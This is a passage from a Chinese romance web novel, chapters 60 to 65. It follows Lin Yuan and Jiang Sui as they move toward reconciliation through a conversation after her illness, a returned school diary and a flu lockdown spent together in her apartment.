烧退了些,人舒服了一点,但的确也有些没力气,也有些饿,没再纠结:“麻烦了。” 她去卫生间简单洗漱擦洗了下,又用江随买的爽身粉扑了扑头皮,感觉整个人,真的干净清爽了不少。 听着厨房里井然有序的忙碌,无声长出了口气,出了卫生间,对江随说:“新的牙刷毛巾拿出来了,你需要自己用。” “好,”江随冲她笑笑,“谢谢。” 林鸢点点头。 俩人就这样又熟悉,又尴尬地说完话,林鸢回了房间。 手暖之后,输液没那么难受,林鸢后来在医院睡了会儿,此刻竟也不觉得特别困。 于是顺手用手腕上的黑皮筋扎了个马尾,干脆打开电脑,两眼呆滞地盯上了还没完工的“月亮”。 她这几天,就是被甲方爸爸要求的,“五彩缤纷的黄”折磨成这样的。 做了好几版,对方都不太满意,她都有点儿颓了。 此刻被烧了一遍的脑子,反倒有什么东西在呼之欲出。 直到江随进来叫她吃饭。 “我想到了。” “我想到了江随!”林鸢眼睛蓦地发亮,偏头看他,知道他听得懂,于是兴致勃勃地,仿佛在和同行分享,“他们想要梦境里的月亮,要和平时不一样的东西,我原本想用贝母的颜色做基调,让月亮有流动的感觉,但他们还是觉得差点意思。其实可以用欧泊,黄白色的欧泊。” “到时候三渲二,还能有插画的感觉,我保证这一版他们绝对满意!”她自信道。 再不满意她绝对要砸键盘了。 见他没反应,林鸢着急道:“就像你送我的那颗星星宝石一样你还记得吗……” 话音猛地一顿,林鸢连兴奋的神情都僵了瞬,随即不自然地偏过脑袋,盯着电脑屏幕。 手指都跟着心脏一道,不自觉地攥紧。 小小的公寓,温暖而沉默。 鼻息间,又能闻到白粥的清香,炒鸡蛋的咸鲜。 真实暖融的烟火气,仿佛终于掩盖了当初四溅在大理石地面上的碎裂声,叫林鸢放松下来一些。 “你就是这样累得病倒,”江随看着她,不自觉地伸手,替她顺了下躲进颈窝的发梢,轻声道,“只能给自己叫救护车的?” 林鸢下意识偏头看他。 男人说的仿佛是嗔怪的话,可神色却温柔,唇角含笑,眸子漆黑,泛着湿润的光泽。 林鸢不知道为什么,似乎轻而易举,就在他眼里看见欣赏与骄傲。 仿若在无声向她说:你从来都很好。 心尖有一丝难察的异样。 “先吃东西吧。”江随说。 林鸢抿了抿唇:“好。” 墙边吧台似的小餐桌上。 软糯清甜的粥滚进喉管,暖得胃里都好受了些。林鸢终于忍不住问他:“江随,你是不是……一直都知道我在哪里?” 江随手一僵,削苹果的小刀差点切到指尖。 她这里没什么存货,江随只找到两只新鲜的苹果。 长久的沉默,林鸢没再逼问。 却听见江随忽然说:“阿鸢,有件事,我必须向你承认一下。” 林鸢有些怔然地抬头看他。 江随放下手里的东西。 “我其实……从没想过要真正地放手。”他说得有些艰难,又生怕她害怕,极想笑一笑,却没能成功。 “这一年你在哪里,在做什么,学了什么,我都知道。” “你可能还是觉得……我有病,我像个变态。” “但我,绝对不会再伤害你……和你在乎的人。”他这句话,顿得有些艰涩,可又异常郑重笃定,向她说,“也不会强求。” “所以,别怕我,可以吗?”魔/蝎/小/说/m/o/x/i/e/x/s/.c/o/m 60-66 第61章 第 61 章 “坦途才是最难走的路。…… 眼前男人, 不知道什么时候脱了那件深灰色毛衣,搭在他身后沙发扶手上。此刻黑衬衣系到喉结下,袖口又挽至手肘处。 冷白细腻如脂玉的皮肤, 瘦削锋利的骨相, 莫名有种矛盾的禁欲感。 那双眼尾微扬, 仿佛看什么都显得多情的桃花眼, 此刻沉潜着浓郁深情。 明明还是那样一个金尊玉贵模样的人, 却好像脱了壳的刺猬, 叫人觉得,就算是捻一粒沙落他身上, 都能叫他疼得瑟缩。 因为林鸢, 能清晰地看见他轻搭在桌沿边的指骨上,已经愈合的, 淡白色的细小疤痕。 也明白, 他用衬衣挡住的手肘下, 也有曾经的伤痛。 不知道为什么,这一幕叫她有些难受。林鸢低下头, 舀了口温热的粥,咽下去,语气有些硬:“你有什么好怕的。” 江随愣了瞬, 肩线微松, 轻笑了声。 他将已经削好的苹果,熟练地用小刀撇成小块, 放进林鸢买的玻璃小碗里, 插上厨房里找到的银色果叉,递过去。 起身去洗了个手回来。 “怎么会想到去铅色的?”语气自然地问,“我看你自己的账号做得不错。” 按她如今的粉丝量和账号活跃度, 如果单纯自己接单,其实会有更多时间,收入也应该比现在更好。 毕竟铅色在业内从业者中的口碑一般,原因就是——没完没了的加班。 “它家交五险一金啊。”林鸢理所当然地说。 江随一顿。行吧。这很林鸢。 “其实也有我先前没从事过这行的原因,”林鸢解释,“铅色虽然加班多,但对过往履历不是那么看重,我找了不少资料,也看了他们出品的动画,觉得能学到东西,就去了。” 江随了然,点头。 “江随。”林鸢却突然抬头问他,“其实我更好奇的是,为什么从以前到现在,你好像……都挺支持我工作的。” 就算是用齐柏来要挟她,让她留下的那段时间,江随也从没说过“我养你”之类的话。 林鸢是真的有点儿好奇。 并且时常不着调地想:她就说她没有小说女主的命,怎么被强取豪夺了都要自己打工呢。 江随擦手的动作一顿,放下纸巾,很认真地看向她,温声和缓道:“因为我明白,坦途才是最难走的路。” “毕竟一切坦途,都是有要求,有束缚,有前提的。” 而像她这样凡事喜欢自己做主,绝对不愿为了自由和尊严低头的人,是不会喜欢的。 “况且,谁也不知道意外和明天哪个先来不是吗?我能保证我永远安全吗?我能保证我活得一定比你久吗?我能保证的,只有我可控的东西,却没法保证这些。 ” 江随笑了笑,望着她,“阿鸢,其实我一直希望,我拥有的一切,你可以坦然地享受,不用提心吊胆。因为即便外部环境改变,不再给你提供这一切,你依旧有重新开始的能力、手段,和底气。” 我希望你离开谁都能过得很好,可又希望……我可以永远陪着你。 江随说完,动了动唇,捏紧拳,将这句话咽回心底。 林鸢心脏猛地一震。 某种念头,甚至在一瞬间,有一丝不可查的晃动。 她忽然想起曾经看过的一句话:一个男人真的爱你,不是带你见识“世面”,也不是“养你”,而是给你提供生产资料。 林鸢当然明白感情这种事情,是不好一概而论的。 她总觉得,给予对方什么,不是看你自己喜欢什么,而是对方需要什么。 就像有人只钟爱吃喝玩乐,觉得享受生活就是人生价值,那你再逼她去努力、去奋斗、去工作,美其名曰实现“社会价值”,似乎也并非是在爱对方。 但在她这里,江随所说的这一点……的确足够打动她。 如果没有从前那些事的话,她承认,她会动摇。 林鸢其实有些害怕,害怕见到这样的江随,害怕和这样正在改变,又在某些地方和从前有些重合的江随相处。 因为她明白,有些人有些事情,她还没办法真正地放下。 而眼前的男人,在说完这些后,没有再立刻表态,仿佛让她自己考虑,自己消化一样。 很久,才又玩笑似的开口:“就像我学了很多菜,学了许多家务,有阿姨照顾的生活可以过,普通的日子,也能过。” 林鸢微低头,咬了咬牙,重新看向他。 “江随,你明白我这个人的。”她平静道,“如果心里还没彻底放下一个人,是没办法接受一段新的感情的。” 江随整个人,蓦地被无边酸涩淹没。 他想起曾经被彻底放下的那段时光,仿佛立于一处孤岛,四周的海水毫无规则地上涌,又退开,却始终退不出一条通往陆地的路。 他深深吸了一口气,叫自己冷静,然后才开口:“你知道,我以为你出事的那天晚上,在想什么吗?” 江随并不需要她的回答,嗓音有克制的微沙,“我当时想,你要是出事了,我一定来陪你。可又想,难道……不是我将你逼上的绝路吗?如果不是我非要强求,如果不是我不愿意放手,你又怎么会需要那样害怕地离开。” “那样的我,就算陪着你去死,对你来说都是负担,都没有资格吧?” “所以我就祈祷,祈祷只要你没事,只要你活着,你平安,我做什么都可以,怎么样都可以。” “结果真的灵验了。”他看着她,忽然笑了下,却再难掩哽意,低喃般,“阿鸢,你不知道,那一刻,我有多庆幸。” 清甜微涩的果肉滚在口腔里,林鸢咀嚼的动作有一瞬间的迟钝。 她无可避免地承认,在听到江随当时止步,是这样的理由时,心头有细微而隐秘的颤动。 “所以林鸢,你不必有什么心理负担,”顿了片刻,他又说,“我现在很轻松,我也没想什么的。” 又玩笑般,“当然,那时说的极乐股份的事,你随时可以接受,那不是开玩笑,那你是应得的。” 林鸢有些滞涩地咽下苹果。 她明白,江随可以这样说,她却不能这样信。 因为曾经的她,又何尝不是在故作轻松的每一个时刻,掩藏自己的喜欢和在乎。 可一份感情得不到回馈,是怎样的卑微隐忍,她体验过。 林鸢抬头。 “江随,你有没有想过,破镜其实是不会重圆的。”她狠下心,明确向他说,“就像我不会回头去找顾淮,同样的,也不会回头去找你。” 江随搁在膝盖上的手指,随着心脏的刺痛本能蜷缩,可依旧叫自己慢慢地平静下来,温和而理智地问她:“你的意思是,坏了的东西,就没有可能再修好,是吗?” 林鸢微愣,抿了抿唇,反问:“难道不是吗?” 江随深深看着她,蓦地扬唇低笑了声,有些从前的游刃有余,又仿佛莫名多了点儿成熟男人处心积虑的意味,直接换了话题,向她说:“快吃吧,我洗好碗就要走了。回酒店洗个澡换身衣服,还约了你们老板。”- 铅色接了极乐的外包项目,林鸢自然也参与其中。 公司有专门和极乐对接的同事,江随离开后,除了偶尔和她聊两句项目上的事,并没有更多深入的话题。 林鸢便也渐渐放松下来。 她相信他们都会变得更好。 可也明白,如今的自己,并不适合进入一段感情。 或者说,是不适合接受一份新的感情。 这一年,也不是没有人向她表达过好感,但林鸢都明确拒绝了。 因为无论是江随,还是别人,她都没有办法让自己什么都不想,全情投入进去。 也幸好,像江随这样“执着”的人并不多。 别人或许是喜欢她的,但那份喜欢,也并没有深刻到,她拒绝对方,就会让对方受到伤害。 日子就这样平静地流淌,直到她生日那晚,才起了点儿微妙的波澜。 那个去年没能亮起的对话框,蓦地向她发来: 【宝贝女儿,生日快乐!】 【红包】 【红包】 【去年的红包,一并补上】 林鸢看着置顶聊天里这几条突如其来的信息,脑子有片刻的空白。 她走的时候,护照和那副耳夹,连同老林的手机,几张无果的维修记录单,都放在了衣柜一个小抽屉里。 她呆呆地望着那几条消息很久很久,才悻悻地出声: “江随。” “你这个……” 她又有些想骂他了。 骂他这个人,总是会在某些特殊的时刻,给她一点意料之外,又仿佛情理之中的……不知道该叫惊喜还是惊吓的体验。 简直叫人,又好气,又好笑,又有些无语,还有些难言的……别扭的感动。 怪不得他那天,明明是疑问的语气,却问得那样游刃有余又笃定。 “……王八蛋。” 林鸢对着空气骂完人的下一秒,另一个头像也发来了消息。 【抱歉,不是故意看叔叔手机的。托人找了原厂从前的工程师,配了零件,修好之后对方让我确认下数据有没有丢失,无意间看到的。】 【之前不确定能保证修好,怕你又失望,才没和你说。】 隔了片刻,他又发来:【你留下的所有东西都在。需要帮你寄去,还是等你回来了自己处理,由你选择。】 林鸢本能地愣住神。 不知道过了多久,她看着自己悬停在输入框上的指尖,微微动了动,终究还是收了回来。 她也不知道为什么,莫名有种老母亲似的欣慰。 这个男人,终于学会好好开口,为自己解释了。 深深吸了口气,林鸢垂下眼,退回和老林的对话框,收下两个红包。 隔了许久,有些眼热,却无声弯唇,也不知道是向谁说,轻声道: “谢谢。” 第62章 第 62 章 “是你翻了林鸢的书包。…… 院子里那株垂丝海棠又开花的季节, 江随碰上了某个预料之外的人。 极乐大厦的地下停车场,李彤云站在他车边,显而易见, 是来找他的。 江随觉得自己如今成长了不少, 看见莫名其妙的人, 也没那么不耐烦了, 甚至心态挺平和, 客气地问了句:“有事吗?” 李彤云微愣, 看着他那张仿佛对客人般矜贵有礼,毫无破绽的脸, 莫名有种涩然又理应如此的释然。 毕竟她曾经妄想得到的, 不就是那份例外吗。 没有忘了今天来 的目的,李彤云很快收起情绪, 对他说:“我马上要出国了, 不会再回来。” 江随淡然地看着她。 “我哥和嫂子生了孩子, 我爸妈,要拿一辈子的积蓄, 给他们付首付,买房子。”李彤云平静地陈述道,“写他们的名字, 我来还贷。我拒绝了。” “他们说我没良心, 我就干脆申请了国外的学校。很顺利,全额奖学金。” 江随一直没打断, 直到此刻, 微挑了瞬眉,点点头:“恭喜。” 又抬睫,等着她的正文。 “出国前, ”李彤云笑了笑,“我有样东西要给你。” 江随微顿,心跳有一瞬的抽跳,像某种没来由的预感。 当那本颜色几乎还和当年一样柔和鲜明的毛毡笔记,出现在视野里的那刻,即便有猜测,江随心脏仍有一刹那的滞涩,那句“怎么会在你这儿”,开口成了冷淡而确定的:“是你翻了林鸢的书包。” 李彤云愣了瞬,惊讶于,他居然知道这本日记。 却也没了那份执着将疑惑问出口,也没有否认,只说:“那你不好奇,这本日记怎么又到了我的手里吗?” 江随淡漠地看着她。 李彤云笑了笑,递过去:“你自己去问林鸢吧,毕竟,当初这本来就是,她要给你的东西。” 江随不动声色地接过来。 可指腹触上熟悉的、粗糙的织物封皮时,胸腔里不可抑制地掀起席天盖地的巨浪,叫他手指克制不住地微微颤抖。 年少时的酸涩与心动,胆怯与逃避,如今的悔意与愧歉,赤城与爱意,绞缠成无边而细密的网,将他心脏覆盖、收拢,越束越紧,窒痛地叫他喘不上气来。 他没有办法不去想,如果当初,这本日记顺利地送到他手里,如今的林鸢和他,会是怎么样。 因为他明白,当他不得不面对那份感情的时候,他是没有办法拒绝林鸢的。 他如果不接受,那他必定失去这个“朋友”。他做不到。 那他们,会在高中里就谈恋爱。 他们会怎样相处呢?是和别的情侣一样,悄然而高调地宣誓主权,用上谁都看得懂的特殊挂件、衣服、水杯? 还是当着老师的面,乖巧又认真地保持着“纯洁”的同桌关系,又偷偷在课桌下牵手? 他们会吵架吗?吵架了想和好,又是谁去哄谁? 大概还是他多一些。小姑娘那时的脾气,真算不得多好。 他们……会在那时就亲吻吗? 只属于他们两个人的初吻,又会在哪里发生,又是何滋味。 可如果他们早恋被发现了,江启宗和郑老师反对,林鸢会逃避吧? 那他一定会很生气。也会胡乱地,用尽各种方式将她留在身边。 如果是那样,她会和现在一样……怨他吗? 其实江随也不知道…… 如果他们踏上另一条岔路,是会更糟,还是很好。 可惜,正是有了那天早上,短暂的考虑与喘息的机会,让他选了如今的这条路。 如今看来,糟糕透顶的一条路。 江随自然明白,这个世上没有如果。 而他如今后悔的,也不过是……他没有勇敢得再早一点。 毕竟有些事,由他先说,会不会叫林鸢,更有安全感一些。 ………… “江随,真羡慕你。”李彤云看着他怔愣出神的表情,突然说。 理智回神,江随微顿。 “羡慕有个人那么长久又纯粹地喜欢过你。”李彤云吁了口,“其实你没发现吗?你在她那里,就是个特例。她和别人交朋友的时候,毫无目的,也真心诚意,但如果感受到不坚定和谎言,就会毫不犹豫地放手离开,不会回头。” “却只给了你无数次的机会。” “不过现在也没那么羡慕了。”李彤云耸耸肩,傲气道,“现在你也没什么特别,她一样也不在你身边。” 她说完,没再去看江随的反应,像个终于扳回一城的,大仇得报的将军,扬起笑,转过身。 地下停车库的光线并不明亮,眼前灰蒙蒙的路和各色的车,也逐渐开始有些模糊。 李彤云脸上的笑却并没有落下来。 因为她也要离开这里了,像林鸢一样,离开这里。 一年多前,她去科创园的时候,遇上过江随送林鸢去上班。 她当时是极其震惊的。因为她明白,林鸢只有真的放下江随了,才会和别人在一起。而她托人打听过,也知道林鸢准备结婚。 那唯一能解释林鸢和江随在一起的原因,就是……江随想通了。 李彤云当时脑子里反复地无声大问:他竟然,想通了? 江随竟然……自己想通了。 那一刻,李彤云忽然十分后悔。 她开始怀疑,当时看见林鸢和顾淮在宠物店门口,放弃了把那本日记交给江随,到底做得对还是不对。 如果她早一点……早一点把那本日记拿出来,江随会不会早一点改变主意。那林鸢,是不是就不会……陷进那样两难的境地。 她当然看得出来,江随其实从来都喜欢林鸢。 可又恶意地希望,他和自己一样,不要得到幸福。 只是,不管是年少时的歆羡与妒忌,还是如今的后悔与愧歉,阻碍的,却是林鸢的幸福。 她其实早就后悔过,如果她当初,没有因为好奇、羡慕,与无法否认的嫉妒和惶恐,而在那个早晨去翻看,林鸢升旗仪式前犹豫要不要放进江随课桌里的,到底是什么东西,那林鸢和江随,会不会和现在不一样。 那她是不是,还会有勇气重新找到林鸢,问问她,我们……还能是朋友吗? 可这世上没有如果,后悔也救不了结果。 于是她托人仔细打听了林鸢如今的情况,了解她如今的生活。 而她能做的,似乎也就只剩下了,将这件压在她心底十来年的秘密,彻底交出去。 她不知道林鸢和江随未来会怎样,她也要向前走了。 唯一遗憾,或许就是,她始终没有勇气,当面向林鸢说一声:抱歉。和谢谢。 第63章 第 63 章 “阿鸢,开门。”…… 离开北城的这两年, 林鸢只在每年清明见过郑敏。 郑敏常会给她打电话,寄些自己灌的香肠,做的吃食。 林鸢也就像那些高三毕业去外地上大学, 留在当地工作, 一年和父母见一面的子女一样, 过着独立而自由的生活。 母女间其实也没什么深仇大恨, 只是成长过程里, 烦琐的社会要求, 相异的价值观,叫她们不再同从前那样亲密。 所以只要默契地不提曾家父子, 俩人依旧还是和以前一样相处。 但林鸢两年没回过北城, 这一年年底,郑敏提出, 想去锦城陪她过年。 林鸢自然是高兴的, 为她订了机票。 只是这一年农历新年前, 一场突如其来,致死率极高的流感, 叫全国各地笼罩上一片阴霾。 很快,新闻里正式将这场流感定性为乙类传染疾病,实行甲级管理制度。 林鸢对这样突发性的公共健康安全事件, 还是有很深印象的。03年那回的非。典, 她虽然刚上小学,可因为她同桌的父亲, 和北城回来的一位密接有接触, 学校为了安全起见,安排她和那个小女孩,由老师看管, 住了一星期宾馆。 那是她第1回 体会到了孤单和想念的滋味。 她好想爸爸妈妈。 幸好,镇上很小,老林和郑敏,每天都会来楼下看她,陪她说会儿话。 可是这一次—— 她给郑敏打了电话,让她先别过来了,等情况稳定了再说,不急于这一时的见面。 郑敏本来还有些犹豫,林鸢直接说,替她取消了机票,她也就没再说什么。只是有些担心地问她,家里还有没有吃的,要不要给她寄点口罩和板蓝根过去。 林鸢笑:“不用,去年我……有些鼻炎,正巧买了很多口罩。板蓝根也不用,新闻里不是说了没用吗?况且,您忘了当年您囤的醋,我们一家三口,喝了三年都没喝完。” 郑敏也笑起来,想到最后过期的醋,全熏了屋子,熏得香喷喷的小女儿,无奈地对她说“妈妈,我好像也变得酸酸的了”就好笑。 ——“阿姨,您就别去了,小丹都怀孕了,您别到时候出去一趟,再 带点儿什么毛病回来。“又嘀咕,“现在谁有家有室的还到处乱跑。” 电话那头,林鸢忽然听见曾友安的声音。 还是一如既往地叫人讨厌。 郑敏的笑意也一顿,低声温和道:“鸢鸢,那你照顾好自己,缺什么,和妈妈说。” 林鸢笑着应下,听她又关照了自己好几句,才挂了电话。 林鸢自认为还算独立,也并不觉得一个人生活,叫她感到孤独和无趣。 可不晓得为什么,这一刻,听着郑敏挂掉电话后的静谧,还是会有一点点难过。 或许是因为,此刻完全封闭的小区,不能出门的小公寓,仿佛一座孤岛,叫她只听得见自己的呼吸,所以才放大了她心底的软弱和多愁善感吧。 公司已经提前停了正常上班,改成居家办公。 群里同事在讨论哪个小区全封闭,哪个小区还能正常进出,但要领出门证,只能周边活动一小时,买菜买米,采购生活物资。 余一欣和杜莱也和她发消息,问她需不需要口罩、吃的和药,家里父母给力,提前抢了不少。 林鸢把自己的囤货拍给她们看,叫她们放心。 只不过吃的,是盗了群里其它业主的图。 小区封得突然,她没什么准备。家里的生鲜吃食和冷冻食品,大概也就能撑个几天。小区里和她一样的人不少,她倒也不算担心,到时候总有解决办法。 甚至连李想,都来问她需不需要这些。 林鸢将发给余一欣和杜莱的那套发给他,对方让她有什么困难一定要说,林鸢应下。 放下手机,她整个人坐在沙发里,却发起呆来。 她其实能猜到是谁托李想问的。 毕竟总不会是江随。他要问,早就自己问了。 其实和顾淮分开后,俩人的联系方式,她都没有动过。 只是似乎有种无言的默契,他们不仅再也没有联系,就连朋友圈,都和约好了一样,没有再发过任何。 此刻骤然而婉转的片刻交集,让她在这样安静的方寸间,难免有些鼻酸。 直到门铃蓦然响起,林鸢回神,心脏猛地一跳。 静了两秒,仿佛是她的幻觉,直到电话在手心里震动,再熟悉不过的名字出现在屏幕上。 她下意识有些茫然而慌乱地站起身,划开接听,没有出声。 隔着一道门,清晰而又渺远的声线,像荒岛前摇来的浮舟,晃着白帆朝她招摇,低低道:“阿鸢,开门。” 第64章 第 64 章 “疼的。” 林鸢也不知道为何, 听到他声音的那一刻,那种这个男人常带给她的,叫人既有些想哭, 又有些好笑的情绪, 就那样轻而易举地将她包裹。 深深呼吸, 林鸢将情绪压下去些, 走去开门。 楼道里明亮的光泻进来, 林鸢一下便看见眼前的男人, 戴着口罩,罩着一身休闲不过的黑卫衣黑卫裤——一看就没有精心打扮。 只有那双露在外面的眼睛, 微微扬起笑弧, 显出好看的卧蚕。 “没问你在不在家,是因为看了程林发的朋友圈。”江随扬着笑, 微歪着头看她, 凌乱的黑发有些风尘仆仆的落拓, 又有不羁的散漫和张扬,向她解释, “知道你们小区封了,你只能待在家里,哪儿都不能去。” 程林是他们老板。 林鸢看着他, 莫名有些眼涩, 也有些想笑,正了正神色, 才没什么表情地问他:“那你来做什么?” 江随挑眉:“你敢说你囤吃的了?”极其肯定。 “……”林鸢本能撇了撇嘴, 暴露无遗。 江随笑,推过他身后一只,巨大到可以躲个人的黑色行李箱:“要帮你拿进去吗?”又解释, “我自己开车来的,没坐公共交通工具,别担心。” 林鸢顿了瞬,看了他一眼,垂了下睫毛,故意道:“行,那你帮我搬进去吧。放客厅厨房门口就行。” 江随盯着她,睫毛轻动了下,应了声“好”,将箱子推进去,按她的要求放好。 转头时看见林鸢还站在门口,侧着身,让出供他走的通道,微顿了瞬,没说什么,走出门,转身关照她,“肉和海鲜记得放冷冻,蔬菜尽早吃,别的还有……” “江随你现在这么会过日子的?”林鸢蓦地打断他。 话音一顿,江随眨了下眼,试探道:“我还挺会做菜。” 林鸢抱臂看着他,两相沉默片刻,沉不住气,有点儿无语地说:“你进来的时候应该知道,我们小区现在,只进不出。” 江随微挑了下一侧眉目,低道:“我可以……去大厅里待两天。” 林鸢深呼吸,无奈侧身:“睡沙发吧,能走了就回去。” 江随眼皮一跳,点点头:“行。”从善如流,进门。 林鸢气不过地看着他高大颀长的背影,又不得不承认,这一刻,她有些安心……也有一点点高兴- 林鸢敢肯定,江随带来的吃的,供应两个人,都够吃一个月了。 那行李箱里,还有他的换洗衣服。 江随解释,他本来真的是准备住酒店的。林鸢面无表情瞥了他一眼,没说什么。 这种时候,人家千里迢迢来送物资,就算有点儿什么其它心思,她也不能真心狠手辣叫人去睡大厅吧。 已经十点多,江随给自己弄了些吃的,林鸢有些饿,也跟着混了点儿。 不得不说,江随现在手艺的确不错。 她一早洗完了澡,吃完东西刷了个牙,就进了卧室。 公寓有地暖,并不冷,林鸢给他找了个珊瑚绒毯子,给了他一个枕头,就没再管他。 直到半夜,林鸢迷迷糊糊睡醒,有些渴,保温杯里都喝空,只好出去倒点水。 轻轻打开卧室门,却看见昏暗里,一个黑影正站在门口小玄关处,似乎在研究门锁怎么开,听见她卧室门开的动静,蓦地对她说:“你别过来!离我远点儿。” 林鸢本来就被吓了一跳,此刻听见这样的台词,简直要笑出声儿。 不是江随,你拿错剧本了吧? 什么叫我离你远点儿?我还能怎么着你吗? 我有那个实力怎么着你吗? 还没腹诽完,就听江随说:“我好像有点儿低烧,你别过来。” 林鸢一滞,这才觉得他嗓子有点儿轻微的哑,声音也闷闷的,一下将手边灯打开。 看见江随已经穿戴整齐,戴着口罩。看见灯亮,微眯了眯眼睛。 林鸢看着眼前身高腿长的男人,明知道有些事轮不到她来担心的,却突然不知道是该生气,还是该难过。 所以如果不是她想喝水,从房间里出来,他就准备这样无声无息地,一个人走了? 她微微咬了咬牙,捏着保温杯走过去。 单人公寓本来就小,没两步,江随就已经只能背靠着门后贴紧,压着呼吸,垂睫看着她。 “新闻里都说了,这次流感最明显的症状,就是超过38.5度的高烧来得突然。让我们普通感冒和低烧,不要去医院扎堆,浪费医疗资源。”林鸢抬头看着他,慢腾腾地说,“你是没看新闻就跑出来了吗?” 江随低眼,看着她毛毛躁躁的头发,忽然就有些想笑,整个人也渐渐放松下来,只是还有些犹豫:“我怕万一……” “要相信科学。”林鸢一板一眼。 江随抿唇,低撩了瞬俩人间隔得极近的距离,刚想再说点儿什么,林鸢就抬起 胳膊。 女孩子温凉的手贴上来,在他额骨上柔软地覆盖了两秒,江随心脏蓦地像那回高烧时一样,毫无规律猛跳了两下。 “还好,估计也就七八分。”林鸢放心下来,收回手,又看了看他,安慰道,“你大概就是开了一路车,神经太紧绷了,一下子放松,身体反而有些不习惯。好好休息休息,应该明天就好了。” 她从前偶尔也会这样,忙了一整年都健健康康,反而休假的时候,感冒低烧头疼脑热的。简直牛马圣体。 江随掩在口罩后面的唇角,忍不住抿了抿,看着她,轻声道:“嗯,都听你的。” 男人嗓音本就偏低沉,这会儿闷闷的,就有点儿妥协的意味,林鸢微愣了瞬,下意识离他远了点。 又看了眼她睡正好,男人睡就极其憋屈的沙发,无声叹了口气:“你,换套干净的睡衣,睡……睡我的房间吧。”说完又硬着语气,“别再废话,也别推来推去的,大半夜了,赶紧睡。”- 林鸢还是拿温度计给他量了下,37度8,比她预想的高了几分。 怕他闷着难受,干脆自己戴了个口罩,叫他别戴了。 但不知道是这个男人得寸进尺,还是每次生病了真的有点儿脆弱,他又问她:“你能等我睡着了再走吗?” 除开一切外物不谈,这个男人有一副这样好的皮相,那样好看的眼睛。漆黑清湛的眸子,漂亮又无辜,就那样潮润润地看着她。 仿佛此刻,将天底下最好的东西置于他眼前,都毫不过分。 “……”林鸢看着昏暗光线下,瓷白。精致的一张脸,叹了口气,坐到她的床边凳上,认命道,“行,你睡吧。” 一刻钟后,她悄悄起身。 手腕却再次被人握住:“我还没睡着。” 她其实还没想走,只是看他杯子空了,怕他半夜想喝水,干脆这会儿去加点。 可又被这男人的理直气壮激起了点儿逆反,于是说:“我困了。” “那你……”江随下意识瞥了眼还算凑合的,一米五宽的床。 林鸢一下板起脸。 江随眨了下眼:“那你睡床,我去旁边坐着。”反正就是想待一块儿。 林鸢简直哭笑不得:“江随,你能别犯病吗?” “我本来就病了。”这回是真的有点儿理直气壮。 “……”行了,她和一个平时就不太正常的病人计较什么。 “放手。”林鸢命令他。 江随盯着她,莫名的委屈在口腔里裹了裹。 林鸢看着他紧抿住,又动了下的唇,下意识有些心软。 轻吁了口,放缓声音道:“我就是想,去给你倒点儿水。” 厨房里,没开灯,就着小卧室里斜漏出来的昏暗暖光,林鸢有些恍神。 她竟不知道,何时对江随,也有了对亲人那样的情绪。 还有怨气吗?有的。 还怨他当年做的那些事吗?也还是在意。 却依旧在想到,如果他真的因为意外而离开,她会心疼、会难过,会祈祷……祈祷他平安就好。 折回卧室,又让他喝了些水,将水杯放在床头,林鸢看着江随重新躺回床上,将头侧撂到枕头上,有些不舒服地闭上眼。 或许是发烧的原因,他颈侧延至耳际的皮肤微微泛红,纤薄白皙下,血管的细微跳动,仿佛都能轻易看见。 有一刹那,脖颈青筋蓦地绷紧,江随轻轻蹙了下眉。 他从前上学时,就有偏头痛的毛病,但一般也不说,只是每次不舒服,整个人就会冷冷淡淡的,浑身散发生人勿近的气场。 只是今天,或许是他洗干净的,浓稠如墨的黑发有些蓬松,毛茸茸的,仿佛小动物的毛发,叫他整个人也显得柔软起来。 此刻再蹙眉,就叫林鸢没来由地有些心软,忍不住轻声问他:“头疼吗?” 床上的人仿佛僵了瞬,轻轻睁开眼,有些茫然地看着她,唇动了动,许久,近乎有些小心地问:“我可以喊疼吗?” 林鸢一下怔住。 这样一句话,骤然就让她想到了,俩人当时并不愉快的分别。 伤害这种事,其实并非你来我往就能抵消的。 江随曾经伤害过她,可她也同样,在他剖开伤口,需要坚定选择,才能重新建立起安全感与信任的那刻,和别人一样抛下了伤痕累累的他。 林鸢突然就有些难过,眼睛都发热,缓了缓情绪,伸手撩开他戳到眼睛里的额发,温声告诉他:“我不会走的。” 细微的电流声,如绵密的丝网,轻轻在俩人之间流淌。 短暂滞顿后,男人倏地紧紧握住她手,死死攥住,又像个被人戳了下的蜗牛般,轻轻蜷缩起来,将脑袋埋进她手指间。 片刻,不知道是怕抓疼她,还是怕她难受,或是怕她……仍会害怕,又强迫自己松开了些。此后,再无动作。 数分钟的安静,安静得林鸢以为他睡着了,指背上却蓦地一热,湿濡滚烫。 那把玩世不恭的嗓子沙哑却含笑,在她看不见的地方,低低道:“疼的。” 第65章 第 65 章 “我想要爱你。也想你爱…… 前一晚还柔弱不能自理的男人, 第二天一早,体温计显示温度已正常。 林鸢不免想起李想那句:这人身体素质好得跟狗一样。 她甚至因为江随只是低烧,没有感冒症状, 没敢给他乱吃药, 就给他喝了两包遇病不决小柴胡。 在科学数据面前, 男人自然也只好正常得像个健康人, 该起床起床, 该工作工作。 还有两天才是除夕, 铅色正常发挥业内口碑,自然是需要他们干到最后一刻的。 林鸢在卧室用电脑, 江随就在客厅用他的笔记本。仿佛不同部门的同事, 互不干涉。 只在中午吃饭时,江随提醒她:“下午的视频会议记得关好门, 别走动。”他微偏头指了指, “我会在客厅那面白墙前, 不会让别人看出来在哪里。” 林鸢微愣。 她平时一个人待惯了,除了晚上睡觉, 白天几乎不会将卧室门关起来。如果在这样的小空间里一起开视频会,她一定也是会将俩人隔开的。 但江随这样提醒,就是主动要和她避嫌了。 挑了挑眉, 林鸢没深想, 点点头。 林鸢给自己配的台机装在卧室,先前休假, 偶尔和同事开会, 也是这个角度,所以也无人在意到她。 倒是屏幕里穿着黑衬衣,站在看不出场所的白墙前的江随, 叫人无法忽视。 视频里,江随和极乐几个这项游戏的负责人,还有铅色成员一起确认项目进展、来年规划。 直至讨论到前两天极乐驳回的几个样本。 “江总,”程林有些困惑,“那几个分镜设计,如果按您的需求,老外估计琢磨不明白吧?” 撇开中国庞大纷杂的神话体系不谈,光中西方的文化差异,就能叫外国友人搞不清,那几个上古的神为什么那么有大爱。 江随微扬眉,也没立刻反驳他,却问:“大家对高中时做过的语文阅读理解,应该都不陌生吧?” 他说这话时,忽然朝镜头撩了下睫,仿佛正在看镜头前的人。 林鸢心脏跳快了瞬,脑子里画面一闪,不由自主开了一秒钟小差。 